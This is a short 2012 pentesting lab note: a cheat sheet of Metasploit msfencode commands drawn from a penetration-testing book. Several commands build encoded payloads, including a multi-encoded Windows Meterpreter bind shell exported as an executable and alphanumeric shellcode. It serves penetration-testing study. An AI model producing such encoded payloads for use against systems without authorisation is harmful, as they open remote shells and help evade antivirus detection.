MSFencode Commands

pentestlab.blog/category/general-lab-notes/page/11

October 13, 2012

msfencode -h

Display the help file of msfencode

msfencode -l

Lists the available encoders

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

Format to display the encoded buffer

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

Uses the shikata_ga_nai encoder to encode the payload.raw 5 times and exports it to a file called encoded_payload.exe

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

Creation of a multi-encoded payload

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

Create pure alphanumeric shellcode where ESI points to the shellcode;output in C-style notation

Reference:

From the book Metasploit – The Penetration Testers Guide